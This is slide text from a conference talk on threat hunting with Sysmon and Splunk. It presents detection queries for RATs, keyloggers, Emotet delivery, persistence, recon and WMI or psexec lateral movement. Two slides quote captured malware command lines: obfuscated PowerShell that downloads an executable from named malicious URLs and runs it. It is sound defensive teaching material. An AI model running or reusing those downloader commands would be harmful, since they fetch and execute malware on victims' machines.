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Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk) Tom Ueltschi, Swiss Post CERT FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 1 C:\> whoami

  1. Advanced Detection (Adwind RAT) JBifrost RAT alert_sysmon_java-malware-infection index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1" (Users AppData Roaming (javaw.exe OR xcopy.exe)) OR (cmd cscript vbs) | search Image="* \\AppData\\Roaming\\Oracle\\bin\\java*.exe *" OR (Image="*\\ xcopy.exe *" CommandLine="* \\AppData\\Roaming\\Oracle\\ *") OR CommandLine="* cscript*Retrive*.vbs *" FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 45

  2. Detecting Keyloggers  Keyloggers and Password-Stealers abusing NirSoft tools  Limitless Logger  Predator Pain  HawkEye Keylogger  iSpy Keylogger  KeyBase Keylogger CommandLine: <PATH-TO-EXE>\*.exe /stext <PATH-TO-TXT>\*.txt CommandLine: <PATH-TO-EXE>\*.exe /scomma ... index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1" ( stext OR scomma ) | search CommandLine="* /stext *" OR CommandLine="* /scomma *" FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 46

  3. Detecting Keyloggers  BONUS: detecting new Banking Trojan variant (Heodo/Emotet)  Link in email to download JS from web server ( DHL__Report__*.js )  Executing JS downloads EXE from web server  EXE uses «/scomma» parameter (YARA: NirSoft strings in memory) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 47

  4. Detecting Keyloggers  BONUS: detecting new Banking Trojan variant (Heodo/Emotet) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 48

  5. Malicious PowerShell index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1" (powershell.exe OR cmd.exe) | eval CommandLine2=replace(CommandLine,"[ '+\"\^]","") | search (Image="*\\ powershell.exe " OR Image="*\\ cmd.exe ") CommandLine2="* WebClient *" CommandLine2="* DownloadFile *" "C:\Windows\System32\ cmd.exe " /c powershell -command (("New-Object Net. WebClient ")).(" 'Do' + 'wnloadfile' ").invoke( 'http://unofficialhr.top/tv/homecooking/tenderloin.php', 'C:\Users\***\AppData\Local\Temp\spasite.exe'); & Remove all "C:\Users\***\AppData\Local\Temp\spasite.exe" obfuscation chars CommandLine2: C:\Windows\System32\ cmd.exe /cpowershell-command((New-ObjectNet. WebClient )). ( Downloadfile ).invoke(http://unofficialhr.top/tv/homecooking/tenderloin.php, C:\Users\purpural\AppData\Local\Temp\spasite.exe);& C:\Users\purpural\AppData\Local\Temp\spasite.exe  De-obfuscate simple obfuscation techniques Are all (obfuscation) problems solved? FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 49

  6. Malicious PowerShell cmd.exe /c powershell -c $eba = ('exe'); $sad = (' wnloa '); (( New-Object Net. WebClient )).( ' Do ' + $sad + ' dfile ' ).invoke( 'http://golub.histosol.ch/bluewin/mail/inbox.php' 'C:\Users\*****\AppData\Local\Temp\doc.' + $eba); start('C:\Users\*****\AppData\Local\Temp\doc.' + $eba) «De-obfuscated»: powershell-c$eba=(exe); $sad =( wnloa );((New-ObjectNet. WebClient )).( Do$saddfile ) .invoke(http://golub.histosol.ch/bluewin/mail/inbox.phpC:\Users\*****\AppData \Local\Temp\doc.$eba); start(C:\Users\*****\AppData\Local\Temp\doc.$eba) LNK with Powershell command Query doesn’t match - embedded in DOCX file (oleObject.bin) «DownloadFile» Sample from 2016-11-18 d8af6037842458f7789aa6b30d6daefb Abrechnung # 5616147.docx 2b9c71fe5f121ea8234aca801c3bb0d9 Beleg Nr. 892234-32.lnk Strings from oleObject.bin: E:\TEMP\G\18.11.16\ch1\golub\ Beleg Nr. 892234-32.lnk C:\Users\azaz\AppData\Local\Temp\ Beleg Nr. 892234-32.lnk FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 50

  7. Processes connecting thru Proxy index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1 [ search index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=3 Image="*\\Users\\*" DestinationHostname="proxy.fqdn" | stats by ComputerName ProcessGuid | fields ComputerName ProcessGuid ] | fields Hashes ComputerName Image ParentImage | rex field=Hashes ".* MD5 =(?<MD5>[A-F0-9]*), IMPHASH =(?<IMPHASH>[A-F0-9]*)" | rex field=Image ".*\\\\ Users \\\\(?< username >[^\\\\]+)\\\\.*" | rex field=Image ".*\\\\+(?< proc_name >[^\\\\]+\.[eE][xX][eE]).*" | rex field=ParentImage ".*\\\\+(?< pproc_name >[^\\\\]+\.[eE][xX][eE]).*" | stats dc(ComputerName) AS CLIENTS, dc(MD5) AS CNT_MD5, dc(Image) AS CNT_IMAGE, values(username) AS Users, values(ComputerName) AS Computers, values(MD5) AS MD5, values(proc_name) AS proc_name, values(pproc_name) AS pproc_name by IMPHASH | where CLIENTS < 15 | sort – CLIENTS  IMPHASH = Import Hash FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 51

  8. SMB traffic between WS index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=3 Initiated=true SourceIp!=DestinationIp DestinationPort=445 Image!=System (SourceHostname=" WS* " DestinationHostname=" WS* ") OR (SourceIp=" 10.10.*.* " DestinationIp=" 10.10.*.* ") | stats by ComputerName ProcessGuid | fields ComputerName ProcessGuid  Search for network connections  SMB protocol (dst port 445)  Source and destination are workstations (hostname or IP)  Use « ProcessGuid » to correlate with other event types ( proc’s )  Search for legitimate SMB servers (filers, NAS)  Create «whitelist» to exclude as legit dest FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 52

  9. Lateral Movement (admin shares) CS_Lateral_Movement_psexec 10/18/2016 11:17:12 PM LogName=Microsoft-Windows-Sysmon/Operational SourceName=Microsoft-Windows-Sysmon EventCode=1 EventType=4 C:\Windows\system32\services.exe Type=Information  \\127.0.0.1\ADMIN$\8c0cb58.exe ... Message= Process Create: Image: \\127.0.0.1\ADMIN$\8c0cb58.exe CommandLine: \\127.0.0.1\ADMIN$\8c0cb58.exe CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM IntegrityLevel: System ParentImage: C:\Windows\system32\services.exe ParentCommandLine: C:\Windows\System32\services.exe  Search for admin share names in image paths FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 53

  10. Lateral Movement (admin shares) CS_Lateral_Movement_psexec 10/18/2016 11:17:13 PM LogName=Microsoft-Windows-Sysmon/Operational SourceName=Microsoft-Windows-Sysmon EventCode=1 C:\Windows\system32\services.exe EventType=4  \\127.0.0.1\ADMIN$\8c0cb58.exe Type=Information  C:\Windows\system32\rundll32.exe ... Message= Process Create: Image: C:\Windows\SysWOW64\rundll32.exe CommandLine: C:\Windows\System32\rundll32.exe CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM IntegrityLevel: System ParentImage: \\127.0.0.1\ADMIN$\8c0cb58.exe ParentCommandLine: \\127.0.0.1\ADMIN$\8c0cb58.exe  Search for admin share names in image paths FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 54

  11. Lateral Movement (proc injection) CS_Lateral_Movement_psexec 10/18/2016 11:17:13 PM LogName=Microsoft-Windows-Sysmon/Operational SourceName=Microsoft-Windows-Sysmon EventCode=8 \\127.0.0.1\ADMIN$\8c0cb58.exe EventType=4 # C:\Windows\system32\rundll32.exe Type=Information ... Message= CreateRemoteThread detected: SourceProcessId: 29340 SourceImage: \\127.0.0.1\ADMIN$\8c0cb58.exe TargetProcessId: 18476 TargetImage: C:\Windows\SysWOW64\rundll32.exe NewThreadId: 20060 StartAddress: 0x0000000000110000 StartFunction:  Search for rarest source or target images from proc injection FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 55

  12. Keylogger (proc injection) CS_Keylogger_injection 10/26/2016 11:56:32 PM LogName=Microsoft-Windows-Sysmon/Operational SourceName=Microsoft-Windows-Sysmon EventCode=8 C:\Windows\SysWOW64\rundll32.exe EventType=4 # C:\Windows\system32\winlogon.exe Type=Information ... Message= CreateRemoteThread detected: SourceProcessId: 17728 SourceImage: C:\Windows\SysWOW64\rundll32.exe TargetProcessId: 836 TargetImage: C:\Windows\System32\winlogon.exe NewThreadId: 14236 StartAddress: 0x0000000000C20000 StartFunction:  Suspicious proc injection into «winlogon.exe»  Steal user’s password while logging on or unlocking screensaver FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 56

  13. FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 57

  14. Hunting for Delivery of Malware  Malicious files downloaded via Browser  Sysmon «FileCreateStreamHash» events generated  Remember the malicious JS files from email links? (Heodo/Emotet) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 58

  15. Hunting for Delivery of Malware  Remember that JS Filename from before?  Let’s hunt for that … ( DHL__Report__*.js ) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 59

  16. Hunting for Delivery of Malware FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 60

  17. Hunting for Delivery of Malware FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 61

  18. Hunting for Delivery of Malware FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 62

  19. Hunting for Delivery of Malware FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 63

  20. Hunting for Delivery of Malware FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 64

  21. Hunting for Delivery of Malware NEW Email link clicked Doc file downloaded FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 65

  22. Hunting for Delivery of Malware NEW Doc file opened FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 66

  23. Hunting for Delivery of Malware NEW Word doc macro enabled FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 67

  24. Detecting Persistence Methods  Hunting for Persistence Methods – Registry Keys – Filesystem (e.g. Startup folders) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 68

  25. Detecting Persistence (Registry)  Searching for «Run» or «RunOnce» keys FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 69

  26. Detecting Persistence (Registry) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 70

  27. Detecting Persistence (Registry) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 71

  28. Detecting Persistence (Filesystem)  Example for «ProcessCreate», not «FileCreate» FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 72

  29. Detecting Persistence (Filesystem) This should make you go «Hmmm??» FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 73

  30. Detecting Persistence (Filesystem)  Example for «FileCreate»  Less than 400 results in > 2 months  after tuning exclusion list FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 74

  31. Detecting Persistence (Filesystem) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 75

  32. Detecting Persistence (Filesystem) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 76

  33. Detecting Internal Recon  Internal Recon used as preparation for Lateral Movement  Legit system commands used  Can also be used by sysadmins or users  Baseline and find appropriate thresholds – Number of different commands and time window FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 77

  34. Detecting Internal Recon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 78

  35. Detecting Internal Recon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 79

  36. Detecting Internal Recon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 80

  37. Detecting Internal Recon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 81

  38. Detecting Internal Recon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 82

  39. Detecting Internal Recon  3 or more (of 7) different commands executed within 15 min FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 83

  40. Detecting Internal Recon 15 occurences 6 diff cmds within 15 mins FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 84

  41. Detecting Internal Recon «False detections» are possible Explorer -> cmd.exe 3 diff cmds within 3 mins FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 85

  42. Lateral Movement  Lateral Movement using WMI for Execution FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 86

  43. ATT&CK TTP on WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 87

  44. Who’s (ab-)using WMI  Point 1 FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 88

  45. Who’s (ab-)using WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 89

  46. Who’s (ab-)using WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 90

  47. Who’s (ab-)using WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 91

  48. Who’s (ab-)using WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 92

  49. Who’s (ab-)using WMI FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 93

  50. Testing with WMImplant  Testing «command_exec» using WMImplant with PS-ISE FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 94

  51. Testing with WMImplant  Testing «process_start» using WMImplant with Beacon FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 95

  52. Detecting WMI spawned proc’s  Point 1 FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 96

  53. Detecting WMI spawned proc’s  Point 1 FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 97

  54. Detecting WMI spawned proc’s  Searching for Child-Process creations of «wmiprvse.exe»  Filtering out «known good» processes  Don’t filter out «Powershell.exe» in general  Combine with «CommandLine» params FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 98

  55. Detecting WMI spawned proc’s  Command executions («powershell *$env:*» and IEX, obfusc.)  Processes started (calc.exe, notepad.exe …) FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 99

  56. Detecting WMI spawned proc’s  Also detecting CS Beacons WMI Lateral Movement method  «powershell.exe … -encodedcommand …» FIRST-TC 2018 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 100

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